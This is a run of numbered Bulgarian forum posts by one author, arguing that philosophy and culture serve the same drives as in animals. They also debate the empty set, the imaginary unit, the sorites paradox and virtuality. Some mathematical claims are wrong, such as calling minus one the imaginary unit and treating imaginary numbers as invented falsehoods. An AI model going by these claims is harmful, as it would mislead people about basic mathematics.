1) Чисто методологически се отърси за момент от емоционално-културния фон на цялото Европейско мислене/философстване/, философичност в парадигмалността на Християнството, а и на Ренесанса, които насаждат волю-неволю една антропоморфна и антропоцентрична ориентация на възприятия и оттам - на начин на мислене, генериране на отправни точки във философията и пр. Застани за момент на една линия Фойербах-Дарвин-Адлер (психолога)... и в този смисъл. Тоест за миг измести малко гледната точка в тази посока.
2) Тука вече иде нещо с, което никога си нямал проблеми на емоционално ниво - ДИАЛЕКТИКАТА.
И ето вече си готов да разбереш какво имам предвид ТОЧНО:
а) Безспорно като биологичен материал (геном) само около 1% ни разделя от това да сме се родили шимпанзета.
б) Те също творят. Най-лесният начин в условията на домашно отглеждане е като им дадеш четка и боички. Рисуват. А в природни условия си изобретяват различни прости уреди за добиване на храна.
в) Установено е, че ползват език от няколко десетки до стотици думи, при което, ако някой индивид от тях попадне при друго стадо/племе не може да разбира комуникацията на останалите.
г) Всичко това не се онаследява, както е при примитивните животни, А СЕ ПРЕДАВА ОТ ПОКОЛЕНИЕ НА ПОКОЛЕНИЕ.
Ето как виждаме същата организация, само че на ДИАЛЕКТИЧЕСКИ ПО-НИСКО НИВО В СПИРАЛАТА. Всичко, което прави човек като ФИЛОСОФИЯ обслужва не друго, а основното му, ПРИРОДНО "предназначение" - да си удовлетвори нагоните, потребностите, емоциите... /Може да се използва и думата "нуждите"./ Герджиков е един от последните хора, когато някога цитирам, но има и добри неща в неговото учение, та ще илюстрирам с - "Експанзия и запазнаване на" себе си/на рода.
Няма никакво значение КАКВО Е СЪДЪРЖАНИЕТО на дадена философия - всяка една цели да донесе някакво задоволяване именно на "природни изисквания". Разгледай нещата в дълбочина и ще видиш, че всеки философ/психолог и пр. като създава учение, го създава, заради някоя от следните причини или комбинации от тях:
- Да се наложи над останалите.
- Да се защити.
- Да отнеме нещо.
- Да даде нещо. (Алтруизмът също го има при животните понякога.)
- Да избяга (искейпизъм) от подтискащата реалност наоколо.
- Да блесне в очите на другите.
- По подражание (конформизъм)... и пр. /има какви ли не мотиви за творчество. Може още доста да се изброяват - например творене за пари (за придобиване), творене за релаксация... Може да има и комбинация от мотиви. А някои дори творят, заради самото творене (творчество заради самото творчество)./
В Социал-Дарвинизма има и доста истини.
---
Накратко (вече пример с хора, за да не ти влияе емоционалното отношение при примери с човекоподобни), това дали някой съвременен човек гълта червено-жълта капсула, за да се излекува от болест или дали някой средновековен европеец пие отвара от жаба със същата цел НЯМА НИЩО КАЧЕСТВЕНО РАЗЛИЧНО. Механизмът е един и същ -----> болест + желание и надежда за оздравяване след извършена процедура. Нивото не е същото, но същността на ставащото, случващото се е една и съща.
СЛЕДВА...
-
256. Относно "как да живеем без вяра в смисъла на човечеството?" по повод на сходствата на творчеството при човекоподобните маймуни и човека.
Ето това е друг въпрос вече.
1. Аз не съм го прозрял това. То е прозряно отдавна в редица Източни философии, които, за щастие не са имали еврейско-римската идейност, че "Ние сме най, нашият Бог прилича на нас (т.е. ние на него) и е също Най, останалите твари са съвсем друго тесто, а, който не ни вярва ще го убием!" /Особено се отнася до фанатизираните привърженици на всякакви семитски (авраамически) религии, а и не само тях./
Прото-италианците /праиталианците/, както аз ги наричам, от рода на Марко Поло описват с ГОЛЯМО УЧУДВАНЕ как в столицата на най-голямата държава съществувала някога - Монголската империя, една до друга имало и църква, и джамия...Тоест религиозната толерантност, както и чувството за изначалност с природата (даоизма, например) на Запад идват доста по-късно, та Юдео-Романската парадигматичност, която и на тебе влияе опосредствено, си стои като атавизъм, особено при философите. (Просто те са тези, които най-много се влияят от историята на тяхната си наука. Примерно един лекар не учи подробно история на медицината и оперира главно с една-и-съвременна парадигма. Няма да тръгне да се взира в Хипократ, Авицена и пр. предшественици. Докато, примерно, дори и модерен човек като нас, ако е философ, може да изпадне до нивото на авторитета си, пък било то и някой от Патристиката и тогава вече имаме типичен пример на обскурантизъм, макар и незадължително.)
2. Конрад Лоренц, Нико Тинберген и Карл Фриш. Тези тримата (с Нобелова награда) са прозрели толкова много за човешката природа, посредством роднините на човека, че като събереш на един куп всички спекулации (в положителния смисъл на думата) за човешката природа на, да речем, екзистенциалистите, да не говорим за християнските философи, няма да има същото качествено и РАБОТЕЩО познание за човека.
3. Ти вярваш в положен, изначален смисъл в човечеството?! :/ Wow! /Уау! (Леле!)/... Такъв няма, освен ако не си привърженик на неща от сорта на есхатологични вярвания, креационистки теории и пр., които са ти под нивото. Много под.
Смисълът се СЪЗДАВА от човека, няма го изначално положен. Самият живот е безсмислен, случаен. В противен случай щеше да го има по необходимост из цялата Вселена, а и смисълът му щеше да е недвусмислено осезаем. Според съвременната научно-материалистическа картина на света човешкото съществуване може да има всякакъв смисъл (ама създаден-вторично), освен това има БЪДЕЩИ СЦЕНАРИИ КАКТО СЛЕДВА:
3.1. Всичко ще си остане в рамките на сегашното положение.
3.2. Човечеството ще изчезне и на Земята, ако се запази живот, ще е доста по-различен като видове от сега познатите ни. Примерно пингвините могат да се превърнат в гигантски моржо-подобни същества, дребните гризачи да еволюират като големи копитни, а някой друг вид - дори октоподите - да стане (станат) разумния властелин на планетата.
3.3. Човекът е в момента на ОПРЕДЕЛЕН ЕТАП В ЕВОЛЮЦИЯТА СИ. В бъдеще ще еволюира допълнително и ще става по-малко емоционален, по-логичен, с по-голям мозък, по-малки челюсти...
Всичко това е едно диалектико-материалистическо прогнозиране, еволюционно-генетическо и... в нито един сценарий няма да срещнеш смисъл като даденост. Тоест мъдрият учен не се главоболи с неправилен въпрос "ЗАЩО?", а гледа да отговори на "КАК?", като става дума за Вселена, живот и пр.
257. Относно аналогия за празното множество и нулата: Нулата е "ПАТЕРИЦА" /в смисъл - помощно средство/, която въобще не е наложителна в някои системи на броене. Примерно 10 на римски се пише "X", на китайски се пише "十" (не знам дали ви се изобразява на вашите монитори, ако не ви е китаизиран софтуеъра, та ще кажа, че изглежда като християнски, класически кръст). В Европейската математика нулата навлиза по-късно, от Индия, посредством арабите.
Значи мерси за отговора - от него разбирам, че това несъществуващо, невъзможно нещо има роля/полза. Обаче на фона на нулата, наистина го намирам за неизразяващо каквото и да било и за фалшиво словосъчетание. Хем "празно", ама хем пък и "много" /множествено/. Много празно. Или много празнини. Като събереш много празни или всички празни неща, пак е празно : 0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0 = 0
Mерси, все пак, защото, ако не си ти няма да ми се доизясняват нещата и да ми изкристализирват позициите! Наистина исках да чуя първо твоето мнение, красиво, голямо момиче! :) /Понятието е много противоречиво - "множество" предполага неща да се съдържат в него или да се имат предвид, групирани, в него. А като е "празно", "пусто" нещо, то е пустота, празнота, нула, нищо и не е дори 0,5 (не е дори половинка), а камо ли множество./
Бате Ники ще се произнесе ли и той по темата, ако чете тука? Интересно ми е да видя дали той намира конструкта "ПРАЗНО МНОЖЕСТВО" за удачен, полезен, смислен, възможен и каквото му хрумне като понятие? (Ще се радвам и на мненията на другите!)
258. "Държах се като теб и отговарях като теб. Ти ме питаше едно или пишеше едно, аз забивах съвсем накъдето ми скимне."
Но аз никога не съм се държал така, напротив - винаги пунктуално цитирам и се изказвам. Ти си подражавала (ужким) на някакъв изкривен образ на моята пнктуалност, в резултат на което се получава неадекватност, която е разбираема само на фона на откровението ти, че напоследък прекаляваш с алкохолните напитки.
"Купон си е, ама май в последния ти пост усещам леко раздразнение"
Заради изгубения труд, че се налага да пиша едно и също. Вярно е, че сега като си видяла на трезво грешките, които си допуснала в нетрезво състояние, ще се опиташ да се измъкнеш с умишленост и пр., но не вярвам да ти е вътрешно за дълго време, все пак ти си тук, за да се веселиш главно.
Ако ли пък приемем за чиста монета твоя вариант, въпреки свидетелствата на емоционалния тон и противоречивостта, които отправят към пийването, и приемем, че си се преструвала, хич не е добре да го правиш в темите на други хора, ползвайки ги за пясъчник.
Правя ти другарска критика, граничеща с порицание и отивам да чета за имагинерната единица.
259. Не се обиждай толкова лесно, аз се напивам от доста по-малко, ако това ще те успокои. /Защото не употребявам спиртни напитки с висок градус. А и нямам намерение да привиквам към алкохол в големи количества. Неумереното пиене е бич и проблем за човечеството./
Благодаря за поздравите, но въпросният сайт е вече със забранен достъп в КНР, та няма как да ги слушам. /Не помня за кой сайт става дума, но може би за Ютюб./
Иначе да приемем, че вече говориш отговорно - каква ти е позицията по темата?
260. Благодарим за представянето на събитието! /По тема за Цеко Торбов./
261. Най-първом да кажа, че се надявам, когато и каквото да напиша по повод твоите, полезни за мен и за всички, съждения да не се засягаш. В случай, че се засегнеш съм съгласен да ме псуваш, макар че си спомням, че беше един от малкото хора, които даже и много ядосани по-скоро ще теглят един пердах на дразнителя, но няма да се държат некултурно и да псуват. (Това е добросъвестен комплимент от моя гледна точка.) :)
По подтемите, които засегна(-хме) тук:
(Предварително уточнявам, че съм се изградил като пунктуалист и буквалист, в донякъде позитивистичен смисъл, което мисля за полезно, доколкото на различни нива точно така се разсъждава и се определят съдбите на хората. Отделно един такъв хирургически подход ни дава доста повече, отколкото би ни отнело, защото се изчистват нещата и се разчиства пътя за по-ясна, отчетлива, ПРОВЕРЯЕМА философия, а и наука.)
1. "Далай, ти съвсем безмилостно използваш объркването, до което ни довеждат твоите проникновения, и нанасяш последователно, като истински "ленинист" :), "удар" след удар" по падналия безпомощен "враг" :lol: "
Както ти си казал в една Хегелианска традиция (онова за давещия се и делото му, доколкото е наистина на Хегел казване; не съм се задълбочавал), това дали ще се убеди или не някой е, на първо място, негово собствено дело. И тука така - аз откъде да знам, че си се объркал? :)
За да разведря обстановката давам кратък философски виц от виртуалната гора:
"Мечо Пух и Прасчо се разхождат из гората, стигат до полянка, посядат за почивка и в същото време Мечо Пух удря Прасчо в зурличката, Прасчо пада окървавен и плачейки пита:
- Но, Пух, защо-о-о-о? Аз мислех, че сме приятели!
Мечо ядосан отговаря:
- Млъквай, бе, свиня! Аз ОТКЪДЕ ДА ЗНАМ КАКВО СИ СИ МИСЛЕЛ?!"
:D:D:D:
Сега, аз се надявам, че не съм Мечо Пух и чак толкова да не разбирам кога човек се е объркал сериозно, а и ти си с такъв умствен капацитет, че (ако пожелаеш) можеш да учиш и запомняш доста повече неща от средния учен или философ на Земното кълбо, така че не се приема. ;)
Иха, "паднал, безпомощен враг" :) Хи-хи-хи... И това не приемам, защото, (ето върви ти, след Герджиков, сега ще цитирам Обама), президентът на САЩ по повод на въпрос враг ли е Китай на САЩ рекъл : "Не ни е враг, нито ни е приятел. Просто е конкурент." /А в днешно време гледам, че Тръмп бил казал такова нещо за Путин./ В този смисъл, макар и едно 100% приятелство във философски дискусии да не е възможно (а и е вредно, защото води до конформизъм!), то не се приемай за паднал, още по-малко за враг. Ние сме поддръжници на различни и потенциално разминаващи се, съперничещи си философски школи, така че в най-лошия случай говорим за КОНКУРИРАНЕ НА ИДЕИ, а не на личен конфликт, естествено. Попър казва, че в СВОБОДНОТО конкуриране на идеите става нещо като Дарвинов естествен отбор и оцеляват само по-приспособените към изискванията на битието. Разбира се такъв един гарант за истината е малко смущаващ, но има резон. /Ако става дума за истинска, чиста конкуренция, а не за конкуренция с нечестни прийоми, чрез които идеи може да се потъпкват и унищожават просто, защото не са удобни, не са "наши"./
За Ленин си прав, той и Ръсел при срещата си с него и с Троцки (който не знае - нека знае за това знаменателно събитие - срещата на 3-ма гениални умове) споделя, че двамата (Ленин и Троцки) са се догматизирали. Обаче, да не забравяме, че късният Ленин става по-отворен за различното и затова и НАДСКАЧА И ДОРАЗВИВА Марксовия фатализъм. Това пък съвсем малко хора го знаят, но към края на своя живот, Ленин казва, че за пълната победа на социализма са нужни пари и затова на световно равнище социализмът ще удържи победа, само ако това стане и в развитите, богати страни. :)
Вярно е, че човек е пълен с илюзии и често забравя какво е точно. Надценява се и се сегрегира от природата, а той си е такава част от нея, каквато са и повечето висши животни. Доказателство са примитивните народи из Амазонка и някои части на Африка, Филипините, които като нямат възможност за наслагване на съвременни условни рефлекси (познания) и си остават нещо много близко до съседите - орангутани (например). Ето защо в Средновековна Индонезия, където е имало народи на различни степени на развитие (то и е Европа е било така, но не с толкова големи разлики), по-развитите, феодални индонезийци, нарекли едни първобитнообщинни индонезийци с име подобно на орангутаните. Което не е било обидно за онези хора, а е чест за орангутаните, понеже "ОРАНГ-УТАН" значи "ГОРСКИ ЧОВЕК".Така че мисленето на философията като неприродно явление, необслужващо нагони, емоции и всичко останало у хората, което е идентично с животните, е заблуда велика. И от какво се получава тя? От НАДСТРОЙКАТА. Малко по-трудно е да разбереш натуралните предпоставки за правене на философия при Кант, отколкото при Аристип, но всичко се свежда до много прости механизми - оцеляване, задоволяване на потребности и, нерядко, експанзиране. И, ДОКОЛКОТО ВСЯКО ПОЗНАНИЕ Е ТАКОВА , вкл. точните науки, няма защо философът да се чувства засегнат. Еволюционно е станало така, че първо се е появил стомахът, а после главният мозък. Ето защо и до днес мозъкът е повече оръдие на стомаха (разбирай - всички биологични потребности), после е оръдие на по-нисшите си отдели (вегетативни, емоционални), а чак след това на себе си. Това го казвам на ниво ОБЩО. Знайно е, че на ниво ОСОБЕНО и ЕДИНИЧНО има вариации, но механизмите са едни и същи - стремеж към удоволствие и избягване на неудоволствията. Затова един поема пътя на отшелничеството, друг на алкохола, трети на науката, четвърти на бизнеса (а някои ги и съчетават, тарикатите :) )... но всичко се свежда до тези простички механизми, които описах, които колкото и да се надстройват, са на една и съща база, която е съдържателната, а надстройката е доста, доста близка до формата като такава (като опозиция и единство на съдържанието говоря.)
2. "Георги, недей така бе, човек - къде съм казал токова нещо? Ти сега ме разпъна на кладата направо :)
Ала по твоите думи излезе, че човечеството и неговото дело (материалната и духовна култура - да го кажа на твой, ленинистки език :)), нямат по-различен смисъл от този на стадо шимпанзета и техните инстинкти?! И ме хвана яд на цялата еволюция, па и на образованието, в което, както излезе, хабим сили напусто :)
Та това имах предвид :) Сега да не ме изкараш пак, че съм казал нещо лошо? хи хи хи"
Разпънат, а и на клада... .Жестоко. Както е известно при социализма методите на омъртвяване са много по-хуманни - разстрел. /А аз лично, през последните години, съм се осъзнал по направление да мисля, че смъртните наказания не са нужни./:) Но нямам такива намерения аз.Ти не знаеш, но аз ще кажа - на времето в един сайт за запознаства намирам една много впечатлителна филипинка, юристка и комунистка. И всичко точно, но се оказа, че била ятачка на партизанските, комунистически групировки и даже като на "боен другар" ми предложи да ходя там и заедно да се правим на Че Гевара и Фидел Кастро. Да, ама аз й казах, че в терористични актове не участвам (щото те онези основно така си мислят, че става революцията) и й обясних, че съм комунист-теоретик, като Енгелс, който за мен е сигурно най-добрият пример за теоретик-комунист. И тя се обиди и спря да комуникира с мене. /А, след години вече понаучих колко много хора има с фалшиви профили, измамници онлайн, та това може и да не е била никаква комунистка, никаква юристка и дори никаква филипинка. Отдавна мина времето, когато може да се доверяваме веднага и пряко на всичко, което виждаме онлайн!/ Така, че ако искаш, Николай, ме мисли като ФАБИАНИСТ. Ти сигурно знаеш какво значи, но аз ще поясня за останалите, които не знаят - Английска концепция за социализма, която каза, че нещата могат да се случат еволюционно, а не с насилие. Доста от днешните англичани, заети с политика са фабианисти. Също така и доста други нации, вкл. Китай, където наскоро се провъзгласи, че битката между класите е завършена и няма нищо лошо в Партията да участват и хора неработници, неселяни, неинтелигенти... Прагматизъм.
Извинявам се за отклоненията, но се надявам да са интересни - все пак това е опит, който не би прочел от друг, по същия начин както аз от друг не бих прочел за такъв богат спектър от изживявание при тебе - от Коледа с Хайдегер до идиличните спомени с косата. Наистина ми харесва блога ти и го препоръчвам на всеки!
Последните ми думи ни за миг не трябва да те размекват :), аз те искам борбен както досега, защото, ако не ми опонираш всички губим. А, все пак, това сега ми хрумна - По-добре един качествен опонент за развитието, отколкото сто тъпи последователи!
И, понеже както казах стомахът има често думата над мозъка, аз отивам да се храня. След това се връщам преизпълнен с желание да доизкажа какво ме вълнува. Обещавам докато ям да рефлектирам върху думите ти за "хабенето на сили напусто". Много насочващо си го казал, за което благодаря!
262. Продължаваме...
Културата (материална, духовна) действително различава човека (като общо) от животните като цяло. Това, обаче е относително. Ето как: Шапката, например, е материална култура, независимо дали е бомбе, фес, тюбетейка, сомбреро, чалма, калпак...
Рисунката пък е направо духовна култура. Ето защо независимо, че техниката на рисуване при някои маймуни из пещерите е на различно ниво, то нещата се свеждат до едно и също - предмет на културата. Същото е и с оръжията - това, че някои хора правят по-съвършени от други, не значи, че другите нямат култура на военното изкуство. Това, че в момента маймунските копия са по-примитивни от тези на племената из Амазонка, не значи, че не са копия.
---
Шимпанзетата не се ръководят само от инстинкти. В това е разликата с някоя пчела, примерно. Хората и шимпанзетата са много по-близки отколкото човек до котка или маймуна до котка. Да кажем така - това, че Люлин и Мездра са все далече от Ректората, не значи, че Люлин не е също в София, както СУ. Просто хората са в момента най-висшите животни на ниво култура, но това не значи, че самата култура няма природна обусловеност:
- инстинкти
- емоции... какво ли не влияе в създаването на културния продукт.
---
Образованието не е на пусто. Образованието е целенасочено създаване на условни рефлекси. Същото е и с образованието на малката маймуна в стадото - тя се учи как се трошат орехи с камъни от големите. Учи се как да ползва клечки за вадене на термити. Учи се как да подостря клонове за лов. Учи се как да рисува (при някои стада). Тоест унаследеното не е всичко при нея, както е при нисшите животни. Доказателство е и това, че в човешка среда маймуните се научават да рисуват, да комуникират, да решават логически задачки доста по-бързо, което значи, че образованието има смисъл.
В заключение ще разкажа за това как образованието (с конкретен пример на СОЦИАЛИЗАЦИЯ) има смисъл. Репортаж от Японска телевизия:
В един резерват намират постоянно убити женски хипопотами и то по един и същи начин с две рани на приблизително равни разстояния. Оказва се, че ги убива мъжки слон. Слонът е много по-тъп от шимпанзето, обаче се оказва, че и слоновете не се раждат научени на всичко, а им трябва социализация, учене на кое е добре и кое не е. Въпросният слон-убиец осиротява като малък - бракониери убиват майка му, баща му и цялото стадо. Слончето израства основно само, без комуникация с други слонове. След време като възмъжава и инстинкта се обажда, започва да налита на хипопотамките, но те го избягват, след което той се изнервя и ги избива. Хипотезата е доказана с камери, на репортажа се вижда, как слонът се опитва да изнасилва поредната хипопотамка, а тя като тръгва да бяга и той я наранява с бивните си.
Моделите на социално поведение са валидни и за хората. Даже нещо просто като писане или език не може да се овладее без учене, подражание и пр.
Така че ученето, както при хората, така и при животните има смисъл.
СЛЕДВА...
-
263. Благодарение на Интернет можем да следим по-отблизо случващото се не само в други държави, но и да проследяваме живота на другите животински видове. Благодарение на това вече знаем, че пеликани ядат гълъби, лъвици се катерят по шията на жираф и го убиват и... има слон-социопат, както правилно го нарече. Точно това исках да кажа, че слонът е останал без семейство и НЕ Е МОГЪЛ ДА СЕ СОЦИАЛИЗИРА. Нормалните слонове не правят така, а този си е несоциализиран, затова и е с извратен нагон като насоченост. (Тоест, дадох пример какво става без социализация, т. е. доказателство от противното, но, признавам че трябваше да поясня по-добре, затова в случая приемам експлицитната ти забележка!) С този пример показвам как колкото е по-висше животното, толкова повече трябва да има от кого да се учи, т. е. да овладява и УСЛОВНИ РЕФЛЕКСИ.
При едно човешко дете би се получило същото. Имаме достатъчно примери на младежи къде ли не, които смятат за нормално да се задоволяват с кози, овце... (зоофилия се нарича; статия на английски в Уикипедията - https://en.wikipedia.org/wiki/Zoophilia (https://en.wikipedia.org/wiki/Zoophilia).)
Излизайки на един културологично-исторически пласт, можем много точно да видим, че асоциализацията може да води дори до канибализъм (без да е единствената възможна негова причина).
Ники, сигурен съм, че децата стават и си лягат с нашия форум :D ;), отделно ти не си посещавал някои детско-тийнейджърски форуми (аз и с такива хора контактувам понякога), където наред с явления като ТОТАЛНО УСЯДАНЕ В НИЩОТО, както казва философа-евразиец Дугин (един от най-добрите руски философи-несоциалисти на днешна Русия), имаме и явления като това, което мисля да представя като ОНТИЧНО :) и нагледно - /бях дал един линк, който тук няма да давам; нямам намерение да линквам към неща, които може да се преценят като не по правилата на Адсенса!/
(Предупреждавам философите със слаби нерви да не четат, на техен риск си е!)
А ти виж поне първата страница (той "дебатът" там по "сериозната тема" май се е развил вече в около 3 страници), след което, по схемата на Хайдегер, че "Езикът е дом на Битието", няма как да не видиш, че моето разхайтване в "далечна" (все се чудя какво му е далчното на Китай, при положение, че САЩ, КАНАДА, АВСТРАЛИЯ и пр. са 2-3 пъти по-далече от България, но така си е останало в съзнанието на европейците, че Китай е много далече) чужбина е просто като жена с минижуп на фона на нудистки плаж. :) Така че, ей-сега, като направя лингвистичен анализ на изречението ти "Абе, струва ми се, че ти нещо май си се разхайтал там в далечната чужбина!", единствената вярна дума е "май" :) Шегувам се.
...
Въпросът не е в това да се изпада в БИОЛОГИЗЪМ на човешкото поведение, нито да се казва, че човекът е равнозначен на останалите животни. Въпросът е да се ИЗЛЕЗНЕ от осреднеността на идеалистично-философския Das Mann, от традиционната вплетеност на европейската идеалистично-философска мисловност в това надценяване на човешката същност, останало от юдео-римската религия и да се дойде пак на едни що-годе адекватни позиции от типа на "Човекът е Зоон Политикон" (по Аристотел), което може да се преведе като "държавно животно" и вече с такава отправна точка много по-ясни ще ни стават много термини и резултати на философията от типа на "грижата", "граничните ситуации", а и защо не понятия като Хайдегеровите.
264. Метафилософия. МЕТА-ФИЛОСОФИЯ... Определение - "ТЕОРИЯ (УЧЕНИЕ), ИЗСЛЕДВАЩО ФУНКЦИЯТА И ПРЕДНАЗНАЧЕНИЕ НА ФИЛОСОФИЯТА." /Ето и една по-дълга информация - https://en.wikipedia.org/wiki/Metaphilosophy (https://en.wikipedia.org/wiki/Metaphilosophy) (връзка към английската Уикипедия)./
Каква е тази дисциплина?
Гледам, че имало и МЕТА-ЕПИСТЕМОЛОГИЯ (метаепистемология)...
Вие как мислите, преди аз да си кажа тежката дума? :)
265. Относно ако сменим само една дъсчица, друг ли е корабът (Тезейският):
Не е друг. Това е вече свързано с парадокса на плешивия. Ако окапе 1 косъм, не е плешив, ако окапят 2, пак не е... Е, кога става плешив? Тоест тук става дума за МЯРАТА и преминаването на КОЛИЧЕСТВЕНИТЕ НАТРУПВАНИЯ в КАЧЕСТВЕНИ ИЗМЕНЕНИЯ. Така че определено е трудно да се намери мярата, при която корабът става друг, броят на космите, които като отсъстват и минаваме за плешиви и пр. Имаше и подобен парадоск с купчинка пясък. Колко песъчинки трябва да се отнемат, че купчинката да не е купчинка... Все в този дух са.
266. Над 30 човека са посетили темата (аз я отворих само 2 пъти досега, сега ми е третият път) и никой не знае. Ами аз ще обясня тогава:
Това е и трябва да бъде СЪЩО философска дисциплина, защото всъщност означава ФИЛОСОФИЯ НА ФИЛОСОФИЯТА. Обаче е полезно в нея да се привличат и философстващи тесни специалисти, за да има повече обективизъм. /По-късно научих, че не всяко посещение е от човек. Има много и различни ботове, които също посещават темите. Просто да се знае./
267. Да, ето му и формулировката :
"1,000,000 grains of sand is a heap of sand. (Premise 1)
A heap of sand minus one grain is still a heap. (Premise 2)Repeated applications of Premise 2 (each time starting with one less number of grains), eventually forces one to accept the conclusion that a heap may be composed of just one grain of sand (and if you follow premise 2 again, composed of no grains at all!)."
Не знам защо си помислил, че не сме се разбрали. Аз те разбирам и според мене става дума точно за мярата (в Хегелово-Марксов смисъл).
Е, няма защо да благодариш. Аз напоследък се интересувам от две основни неща, преди малко писах и на Турлаков:
- Парадоски
- Образуването на нови понятия. (С оглед на визиите на Оруел ("1984")). Последното интересно, което открих напоследък е "Втора девственост" /като ново понятие/. Според американска журналистка това е, когато човек дълго време не е бил в интимни отношения и... изгубва тренинг, след което при ново запознаство се държи като типичен девствен субект. Има резон... Нещата лесно могат както да хипертрофират, така и да атрофират. (По аналогия с мускулите.)
---
Теб, като специалист по темата, искам да те питам, че стана дума, а ако прецениш ми отговори в нова тема:
Съгласен ли си с твърдението, че АКО ЧОВЕК НЯМА ПОНЯТИЕ (ВЪВ ФОРМАТА НА ДУМА) ЗА НЕЩО, НЕ МОЖЕ ДА ГО МИСЛИ ТОВА НЕЩО? Примерно преди да се въведе понятието/термина "БИОЛОГИЯ" от Ламарк, хората не са ли можели да мислят биологията, биологичното?
Друго няма.
268. Аз си зададох и въпроса официално, но тук ще споделя личните си ФИЛОСОФСКИ ПРЕЖИВЯВАНИЯ по наскоро откритата от мене ИМАГИНЕРНА ЕДИНИЦА (показана ми от инженер Камен Иванов по повод на друго мое разсъждение за ПРАЗНОТО МНОЖЕСТВО, за което му благодаря).
На пръв поглед ИМАГИНЕРНАТА ЕДИНИЦА не е толкова противоречиво понятие, колкото е ПРАЗНОТО МНОЖЕСТВО (такова едно множество, дето не съдържало НИЩО - нито един елемент, нито дори себе си... т. е. многото му неща вътре са НИЩО... Фокуси някакви.) Обаче ето и моите МИСЛИ И СЪЖДЕНИЯ:
Ето великолепното определение на ИМАГИНЕРНАТА ЕДИНИЦА:
"Доколкото не съществува реално число, което дава отрицателно реално число след като бъде повдигнато на квадрат, ние си въобразяваме (imagine) такова число и го означаваме със символа i."
Тоест ХИКС НА ВТОРА СТЕПЕН РАВНО НА МИНУС ЕДНО. Това "Минус Едно" е имагинерната единица.
И ето как разсъждавам: Доколкото не съществува реален начин да се излекуват всички болести с едно хапче, ние си въобразяваме (imagine) такова хапче и го означаваме със "символа" ПАНАЦЕЯ.
Или пък:
Доколкото не съществува реален начин да има някой, който да знае всичко, да може да прави всичко и да е супер-велик, то ние си въобразяваме (imagine) такъв някой и го означаваме със "символа" БОГ.
Тоест - ЛЪЖЛИВИ ПОНЯТИЯ, СИМУЛАКРУМИ се правят лесно... И после какво следва?
Защо имагинерната единица е призната? Защото вършела работа. Ето как:
Като я няма имагинерната единица и много уравнения нямат решение, НО като се въведе и те ИМАТ РЕШЕНИЕ!!!... И възниква въпросът "Истинско решение ли е да се излъжеш, че си решил нещо?" Не е ли по-добре да се знаят границите на НЕВЪЗМОЖНОТО, отколкото да се "прекрачва" то илюзорно и пропагандистки?
269. Относно "Виртуалност във виртуалността или само виртуалност?"
Имам един въпрос, ако никой не може/не иска да отговори, както става засега в темата за метафилософията, ще си отговоря сам. :)
Според най-простите определения виртуална реалност може да е и само една книга. Примерно повест. И така, имаме повест, примерно там има принцеса Гинка, която е измислена и също така се говори за това, че принцесата Гинка става писателка и написва повест за някаква си измислена принцеса, примерно, принцесата Минка.
Искам да запитам - според вас Минка по-виртуална ли е от Гинка (като виртуален продукт на виртуален герой) или е на същата степен на виртуалност?
Ако някой е в "интересно състояние на ума" и още не е разбрал какво питам - друг пример: Ако приемем, че сънищата са нещо виртуално и, ако разглеждаме съня не на някой истински, а на някой литературен герой. Този сън по-виртуален ли е от литературния герой или е на същата степен на виртуалност, както самия герой?
Съвсем накратко - ВИРТУАЛНОТО ИМА ЛИ СТЕПЕНИ ИЛИ Е МОНОЛИТНО?
270. Ирационалните числа ОТРАЗЯВАТ РЕАЛНОСТ. Те отразяват несъизмеримостта. Те отразяват съвсем законно РЕЗУЛТАТ. А имагинерните са получени EX NIHILO (из нищо; от нищо).
"Работа върши" е принцип, който може да работи и при понятието "Бог". Върши работа и то голяма. Някои забогатяват от вярата в него, други пък получават по-лесно плацебо-ефекти в болниците. Всяка една лъжа може да върши работа. Значи ли, че е истина? Вършенето на работа е критерий за истинност, който дава и грешни изводи.
Колкото до Китай - те имат много работи, ама България кога ще се заима като Китай не мога да си го представя. Не е лесно да си го представиш като имагинерната единица. Лилия, да те питам - ако аз примерно, ей-така, по Херостратовски :) /демек - за славата на всяка цена, дори и да е лоша слава/, измисля една ИМАГИНЕРНА НУЛА, която да има особени математически свойства, понеже АЗ СЪМ СИ ГИ ПРЕДСТАВИЛ и почнат да се решават уравнения с нея, ще се прочуя ли в света на математиката или не?
СЛЕДВА...
-
271. Четох, че италианци са я сътворили. Даже първият италианец, който се заел да мисли по тези въпроси си признал, че нямат резонно приложение тези неща.
Значи едно е да ОПИСВАШ, а друго е да ОТРАЗЯВАШ. Аз примерно мога да те ОПИША с термини от религиите или от народната китайска медицина (даоиски термини), но това не значи, че те са реално отражение по класическата и кореспондентната теория за истината. Примерно числото ПИ (π) отразява съотношение. Имагинерната единица отразява какво?
272. Оооо, мило Фреге, мерси за включването и за много ценното инфо! Признавам си, че не знаех за нон-философията (на прима виста си правя асоциация пак с едно подобно течение АНТИ-ПСИХИАТРИЯ, което казва, че нямало луди и трябвало да няма психиатрични заведения!)... Ще се запозная!
Хайде да те замоля да кажеш и две думи по темата ми за виртуалното, когато можеш? Интересува ме дали виртуалността е монолитна или може да е градуирана? Дал съм пример с едни принцеси там... /Ето и инфор за самата нон-философия (не-философия), на английски: https://en.wikipedia.org/wiki/Non-philosophy (https://en.wikipedia.org/wiki/Non-philosophy)./
273. Хм, започвам с овцете, защото съм със слабост към такива по-етологични неща, макар че в случая става дума за икономика.
Казваш, че ако липсват 5 , т. е. -5 и ги добавят обратно +5, то ще има 5, а не 0, както е според : -5 + 5 = 0. Обаче тук не става дума за това уравнение, а за следното: Липсват ми 5-те овце. Тоест имал съм 5 и са извадили и петте (5 - 5) и съм на нулата : 5 - 5 = 0. И после към 0 прибавяме 5 и си става 0 + 5 = 5.
За да си на -5 овце (минус пет овце), трябва да си нямал николко, а след това от 0-та ти овце да ти липсват 5, т. е. 0 - 5 = -5. Уви тези числа са също "невеществени", както ги наричат сполучливо рускоговорящите. Нямаше да е зле ако наистина можеше ОТ НИЩОТО да се вадят овце. Примерно ти имаш 0 овце. А 0 овце = 0 кози = 0 каквото и да е. И аз почвам да ти вземам, вземам... Аз така мога да ти взема и 200 милярда евро! После ще ти дам 100 и аз ще ползвам 100, и ще забогатеем. С парите ще оборудваме лаборатория за изнамиране на ПОДМЛАДИТЕЛ, с който ще подмладим Дядо Ники, примерно. Само че не става. От нищо не може да се извади нещо.
